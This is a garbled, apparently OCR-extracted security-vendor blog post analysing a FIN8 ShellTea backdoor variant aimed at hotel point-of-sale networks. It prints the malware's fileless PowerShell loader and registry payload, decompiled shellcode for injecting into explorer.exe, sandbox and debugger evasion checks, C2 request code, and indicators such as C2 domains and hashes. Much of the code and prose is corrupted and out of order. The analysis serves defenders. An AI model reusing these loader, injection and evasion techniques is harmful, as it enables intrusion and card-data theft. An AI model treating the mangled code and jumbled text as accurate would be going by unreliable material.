MOVING TARGET DEFENSE BLOG CYBERSECURITY TRENDS, EXPLORING MOVING TARGET DEFENSE AND PUTTING ENDPOINT THREAT PREVENTION FIRST

FIN8 IS BACK IN BUSINESS, TARGETING THE SUBSCRIBE TO OUR BLOG

HOSPITALITY INDUSTRY Posted by MICHAEL GORELIK on June 10, 2019 Find me on: in 🗾

▼ Tweet in Share the Like 44 Share

SECURITY ALERT **POS ATTACK** During the period of March to May 2019, Morphisec Labs observed a new, highly sophisticated variant of the ShellTea / PunchBuggy backdoor malware that

attempted to infiltrate a number of machines within the network of a customer in the hotel-entertainment industry. It is believed that the malware was deployed as a result of several phishing attempts. The last documented version of ShellTea was in 2017, in a POS malware attack Given the nature of the industry targeted in the attack uncovered by Morphisec, we assume that this was also an attempted POS attack. As the attack was prevented $\,$ by the Morphisec solution, the POS malware could not be downloaded to the

This is the first attack observed during 2019 that can be attributed to $\emph{FIN8}$ with high probability, although there are a few indicators that overlap with known $\ensuremath{\mathsf{FIN7}}$ attacks (URLs and infrastructure).

In this report, we investigate this latest variant of ShellTea, together with the artifacts it downloaded after the Morphisec Labs team detonated a sample in a safe environment

FIN8 - TECHNICAL DETAILS We begin by examining the different stages of the fileless dropper in detail. FILELESS EXECUTION

"C:\\Windows\\System32\\cmd.exe '/c' 'powershell.exe' '-w' 'l' '-nop' '-c'
'start-process powershell.exe -windowstyle hidden ang '-nop -c \$a=
(Get-TleerPoperty registry:HKCU\S?Yamer\\Spikakesude);IEX \$a.Xshuzugewogazi''' The command line execution leads to PowerShell code executed from a different

Following successful infiltration, the malware persists through registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

registry value: HKEY_CURRENT_USER\\Software\\ [random name]. The attacker abuses the PowerShell wildcard mechanism with the assumption that there are no additional keys in registry under HKCU the match the *S???ware* string beside *Software*. This may minimize the effectiveness of certain detection or intro inspection tools when looking for the next stage execution.

The code from the $[\mathit{random\ name}]$ key executes an additional PowerShell command that decodes base 64 assembly and invokes it within the memory while $\,$ passing it as parameters an additional [random name] registry value – the ShellTea

"Xshuzugewogazi"="\$null= [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String("TVq...")); [LExR.J9f1]::YHvszr((Get-ItemProperty -Path HKCU:Software\\Fpkakesude -Name Glyavonubafi).Glyavonubafi, 0);" **EXECUTING .NET ASSEMBLY FOR SHELLCODE EXECUTION** The base64 encoded assembly that we saw in the previous stage is a .NET stager that self-injects a shellcode (the parameter from previous stage) by creating a new

thread with the shellcode entry. The thread also needs a parameter (the same shellcode) for proper execution. 4 RVA: 0x00002050 File 0 (byte[] V6yAs, uint uGTG) IntPr intPr = 39fl.VirtualAlloc(@u, V6yAs.length + 1, 12288u, 644
Narshal.Copy(WsyAs, 0, intPtr, V6yAs.length);
IntPr v6yAs = 39fl.CreataFinesd(IntPr.tacro, 0u, intPtr, (intPr)
((long)(ulong)uff0)), @u, intPr.zero);
39fl.Maitro-Singleobject(w6yAs, 60000);

SHELLCODE CUSTOM FUNCTION RESOLUTION To operate and evade standard analysis tools, most of the functions are hashed.

```
attacker also utilizes functions from ole32 for stream processing.
   76 for ( j = NtCurrentPeb()->Ldr->InitializationOrderModuleList.Flink; LOADHD[[3].Blok) |= 24; j = j-Flink | Flink | F
```

version, with a slight modification of the seeds and constants. In this version the

through the explorer.exe process. While it includes multiple ways to find Explorer, the preferred method is to get the process id from the current desktop window.

INJECT INTO EXPLORER

GetHoduleFileHameN = GetProcAddressCustomhrapper(087597858);
GetHoduleFileHameN = GetProcAddressCustomhrapper(087597858);
GetHoduleFileHameN = GetProcAddressCustomhrapper(08498FC174);
if (IStrStrIM(moduleFileHame, explorer.exe))
while (1) After finding the process id, the shellcode uses standard functions to allocate and write memory within Explorer and then uses low-level API RtlCreateUserThread for

As in the previous version, ShellTea continues the operation after persisting

) (LPCSTR)(v23 + 0x2D50002);// CreateStreamOnHGlobal,CoInitializeEx,CoUninitialize, ntdll!_C_specific_handler s - (_int64 (_fastcall *)(HMCOULE, LPCSTR))GetProcAddressCustomWrapper(0x8CFF5CD8);

thread injection.

| Indicatoristical process of the control of th If (WestProcessimerry(processeds, 768, 00000000046, 00020046, 0001)

- GreatPoint F. (1864 | Esteal 1) (195500017 #315100155, 1st65, _0000), _0000))SetProceddressCustomire
vis * (ond* *)CreateSemmi(1864, 1164, 0164, 0164)

- GreatPoint * (ond* *)CreateSemmi(1864, 1164, 0164, 0164)

- GreatPoint * (ond* *)CreateSemmi(1864, 1164, 0164, 0164)

- GreatPoint * (ond* *)CreateSemmi(1864, 0164)

- GreateSemmi(1864, 0164)

 ateUserThread = (_int64 (_fastcall *)(MANDLE, PSECURITY_DESCRIPTOR, QWORD, QWORD, QWORD, QWORD, _MORD, _int64, _i ttlCreateUserThread(procHandle, 0164, 0164, 0164, 0164, 0164, v10, 1164, (_int64 *)&v23, 0164);

WriteProcessMemory - (unsigned int (_fastcall *)[UMDLE, _int64, _int64, _int64, _int64 *)]GetProcAddres

If (WriteProcessMemory(procMemory, VID, 0x2050000164, 0x266164, 0x26))

```
VIRTUAL ENVIRONMENT AND SANDBOX BYPASS
  Shell Tea utilizes a number of techniques to identify if it is running within a virtual
  environment or is being monitored.
    Virtual environment by firmware
  {\it Shell Tea} \ {\it extracts} \ the \ firmware \ string \ information \ using \ {\it NtQuery SystenInformation}
  with the \textit{SystemFirmwareTableInformation} flag. Then it searches for a set of known
  strings as described in this article by Checkpoint (additional strings have been
added in this case, e.g. Visual studio)

112 | quencpy(&vi0, "Virtual", 7);
113 | vi = (char ")RetrieveSystemFirmewareInfo(&a2, 0x46495240, 0x60000);
114 | vi = (char ")RetrieveSystemFirmewareInfo(&a2, 0x46495240, 0x60000);
115 | vi = vii]
116 | f ( vii)
117 | vi = a2;
118 | if ( (unsigned int)SearchSubString(vi, a2, a3, 6u)// Whilare
119 | | (unsigned int)SearchSubString(v2, v3, vi3, 18u)// VirtualBox
120 | | (unsigned int)SearchSubString(v2, v3, vi3, a0)// Oracle
121 | ( unsigned int)SearchSubString(v2, v3, vi1, au) // 53 Corp.
122 | | (unsigned int)SearchSubString(v2, v3, vi1, au) // 53 Corp.
123 | v0 = 1;
124 | v0 = 1;
125 | v0 = 1;
126 | viii = viiii = viii = viiii = viiii = viii = viiii 
  added in this case, e.g. Visual studio).
```

RtlFreeHeap = (void (_fastcall *)(_int64, _QNORD, char *))GetProcAddressCustomWrapper(0xf00399CB);
RtlFreeHeap(180027392164, 0164, v2);

```
} else if ( (unsigned int)SearchSubString(v7, v8, &v10, 7u) )// Virtual {
Looking for monitoring processes
As part of the anti-debugging or anti-monitoring techniques, ShellTea iterates over
all the running processes, applies CRC32 on each process name (after converting \,
the string to capital letters), and then compares the value against a predefined set
of CRCs. Note that a bug in the previous version has been fixed and more CRCs
// List of em
```

}
if (!v2->NextEntryOffset)
break;
v2 = (SYSTEM_PROCESS_INFORMATE) TION *)((char *)v2 + v2->NextEntryOffset); lFreeHeap = (void (_fastcall *)(_int64, _QMORD, SYSTEM_PROCESS_INFORMATION *))GetP lFreeHeap(180027392164, 0164, v11); We wrote a python script which is based on a set of known processes and

++v19; ++v20; if (v19 >= 0x6C) goto LABEL_15; } v0 = 1;

identified the list of the processes that are being searched for. These are: WINDBG.EXE, WIRESHARK.EXE, PROCEXP.EXE, PROCMON.EXE, TCPVIEW.EXE, OLLYDBG.EXE, IDAG.EXE, IDAG64.EXE, DUMPCAP.EXE, FILEMON.EXE, IDAQ64.EXE, IDAQ.EXE, IMMUNITYDEBUGGER.EXE, PETOOLS.EXE, REGMON.EXE, SYSER.EXE, TCPDUMP.EXE, WINDUMP.EXE, APIMONITOR.EXE, APISPY32.EXE, IRIS.EXE, NETSNIFFER.EXE, WINAPIOVERRIDE32.EXE, WINSPY.EXE Validate Hard Disk Volume The hard disk volume name is hashed with SHA1 and compared to a preconfigured SHA1. GetVolumeInformationA = GetProcAddressCustomWrapper(775517466);
if ((GetVolumeInformationA)(0i64, &a1, 31i64, 0i64, 0i64 lstrlenA = GetProcAddressCustomWrapper(0xC90AC463);
v3 = lstrlenA(8a1);
if (GetShai(8a1, v3, &a3))
{ PERSISTENCY Upon successful bypassing of sandboxes, the shellcode executes a persistency

module. If the attack is yet to be persistent (validates beforehand), it decrypts the PowerShell base64 command, then decrypts the CMD command for persistency and writes those into the registry as described in the first step. Note that every string is decrypted with different XOR parameter which may fail some of the

VII[2023] = 0; RIALICEATRESP = [int64 [fastcall*](_int64, QUODD,_int64))GetProcAddressCustomBr v= (ACMS*)PitLaliceatremp([MR027992164, Bides, BibMs(84)); Ignto LMEL_24; Ignto LMEL_24; U2 = vanapedintHeapper(v2, Bc22800, v1, 8v26, Name, BivMale, BivMale); v4 = inticdetsOrdegistry(-216483647164, Name, 8v35, 10, (Const BTE*)v2, 2 * v12 + 2);

COMMANDS commands based on what is returned from the C2 server. . It may write data/shellcode it received from the C2 into registry

C2 PROTOCOL

COMMUNICATION

to 104.193.252[.]162.

} while (v9);

• It may execute any PowerShell command using downloaded native Empire ReflectivePicker (will be described later).

• It may execute the shellcode as is by creating additional thread

switch (v27) { case 3u: v32 = 1;

ShellTea is proxy aware malware – if direct communication fails it will try to execute the proxy aware API. Most of the API are standard and are mapped from wininet. Following a decryption of the embedded domains we get the following list: telemerty-cdn-cloud[.]host, reservecdn[.]pro, wsuswin10[.]us, telemetry[.]host with the property of thAt the time of the investigation, telemerty-cdn-cloud[.]host was used and mapped

Note that cdn substrings are also used in recent Fin7 attacks and it is a convenient

```
if (Alternat)
// International Conference of Conferen
                                  [
| HttpOpenRequestA = GetProcAddressCustomWrapper(0x8E722864); 
| v9 = | httpOpenRequestA(hSession, POST, JSON, 0164, '\0', '\0', 0x84883100, '\0'); 
| if ( v9 ) |
The C2 identifies the post request using the additional optional data that is sent \,
immediately after the headers request using HttpSendRequestA.
For example, in the case of ReflectivePicker download, the optional data will consist
                  RtiAllocateHeap = GetProcAddressCustomMrapper(GxD1AS2276); dataToSend = RtiAllocateHeap(180027392164, 0164, 0x28164); if ( !dataToSend )
of embedded cookie and byte 'b' as a command.
```

{
 v10 = 13;
 if (buffer_size >= 9 && *(out_buffer + 1) == 0x53FCE379)
 /

of course) through the optional buffer.

In case a buffer needs to be sent back (in case of recon data collected on the endpoint), a magic header cookie is attached to the data and sent as is (encrypted

EMPIRE REFLECTIVEPICKER

deleted.

Lowe Inuex; // [rspream] [rspream]
this = quord_ls0006408;
pastaticlethoddrags = 0164;
index = 0;
variantinit(@utsticzons);
variantinit(@utsticzons);
variantinit(@utsticzons);
variantinit(@utsticzons);
variantinit(@utsticzons);
include thodiane = 5ysallocString(method);
if (bstrStaticlethodiane)
{
vistringcommandare = 5ysallocString(command);
vistringcommandare = 5ysallocString(command);

```
vtStringCommandArg = SysAllocString(command);
if ( vtStringCommandArg )
{
        psaStaticMethodargs = SafeArrayCreateVector(@xCu, 0, 1u);
if ( psaStaticMethodargs ) {
          }

SysFreeString(bstrStaticMethodName);

if ( vtStringCommandArg );

SysFreeString(vtStringCommandArg);

if ( psaStaticMethodArgs );

SafeArrayDestroy(psaStaticMethodArgs);
52 }
53 return v7;
CONCLUSION
The hospitality industry, and particularly their POS networks, continues to be one
of the industries most targeted by cybercrime groups. In addition to this attack by
FIN8,we've seen multiple attacks by FIN6, FIN7 and others.
Many POS networks are running on the POS version of Window 7, making them
more susceptible to vulnerabilities. What's more, attackers know that many POS
systems run with only rudimentary security as traditional antivirus is too heavy and
requires constant updating that can interfere with system availability.
As we see here, attack syndicates are constantly innovating and learn from their
mistakes – the numerous improvements and bug fixes from the previous version of
```

Morphisec immediately prevented this attack from ever getting to the point where it could access POS endpoints. It is lightweight, with no need for updates and does not need to be online to provide full protection. Moreover, it serves as a

4B9EFD882C49EF7525370FFB5197AD86 REFLECTIVEPICKER: DC162908E580762F17175BE8CCA25CF3 PowerShell recon script:

DOMAINS: telemerty-cdn-cloud[.]host

reservecdn[.]pro wsuswin10[.]us

```
telemetry[.]host
104.193.252[.]162:443
```

MORPHISEC

Moving Target Defense

Advanced Endpoint Prevention Manufacturing Cloud Workload Protection Healthcare

information and company updates.

Stay in the loop with industry insight,

cyber security trends, and cyber attack

SEARCH OUR SITE

Protection

RECENT POSTS

Trickbot Delivery Method Gets a New Upgrade Focusing on Windows Introducing the Morphisec Unified

Threat Prevention Platform --

Endpoint Security Is Harder than Trickbot Trojan Leveraging a New Windows 10 UAC Bypass

Against Internet Explorer Scripting **Endpoint Detection and Response Is**

POSTS BY TAG Cyber Security (94) Endpoint Security (74)

Parallax: The New RAT on the Block Remote Employees Offer Different Security Challenges Why Client-Grade Technology Doesn't Cut It for Cloud Workload

Morphisec Protects Customers Not the Next Step

Are Guests Safe From a Hotel Data Breach?

Attack Analysis (45) Cyber Attacks (45) Company News (38) See all

- $\ensuremath{//}$ decrypts the powershell base64 command which will execute the re $\ensuremath{//}$ with the shellcode
- The ShellTea backdoor communicates on top of HTTPS and supports a number of • It may reflectively load the delivered executable into the process (and then • It may create a file and execute it as a process, then mark it as deleted (after
 - }
 if (v27 != 1)
 {
 if (v27 != 2)
 {
- ShellTea also uses ole32 Stream object functions (e.g. CMemStm::Write) to manipulate the downloaded memory stream (downloaded by InternetReadFile directly into the stream). {
 RtiAllocateHeap = GetProcAddressCustomWrapper(Bx01A32276);
 brifer = RtiAllocateHeap(180027392164, 0164, 4096164);
 if (buffer) {
- (User Schorts) ("V2" data Osend + 0x28; generoy/data Osend + 0x28; generoy/data Osend + 0x28; generoy/data Osend + 0x28; generoy/data Osend + 0x28; generoy/v38, abord 0x28; generoy/v38, abord 0x28; generoy/v39, abord 0x28; gene v11 = 13; if (buffer_size == 9 && *(out_buffer + 4) == 0x53FCE379) **RECON STAGE** One of the first artifacts the shellcode downloads is a PowerShell code and a .NET native ReflectivePicker. Because PowerShell was executed outside PowerShell (from within the Explorer process) it will bypass many of the blacklisting defenses. POWERSHELL DOWNLOAD The PowerShell script collects all possible information on the user and the network, including snapshots, computer and user names, emails from registry, tasks in task scheduler, system information, AVs registered in the system, privileges, domain and $\,$ workgroup information. Add-Type -Assembly System.Windows.Forms;
 \$5peenBounds = [Windows.Forms.SystemInformation]::VirtualScreen;
 [convert]::Tolagase64String(fms.Tohtray());
- ReflectivePicker from the Empire project it loads CLR by using CorBindToRuntime that is loaded dynamically within the shellcode. 11 LONG index; // [rsp+E8h] [rbp+28h]

As mentioned previously, the PowerShell is executed using reflectively loaded

The results are Gzipped and saved under random file in the temp folder. Following successful collection of information, the data is send back to the C2 and the file is

compensating control for Windows 7 systems, providing a virtual patch that **ARTIFACTS** SHELLTEA BACKDOOR: 6353D7B18EE795969659C2372CD57C3D

ShellTea are evident. The techniques implemented can easily evade standard POS

4BEB10043D5A1FBD089AA53BC35C58CA

f in 🗸 🖸 🔊

ABOUT US BLOG

CONTACT US

News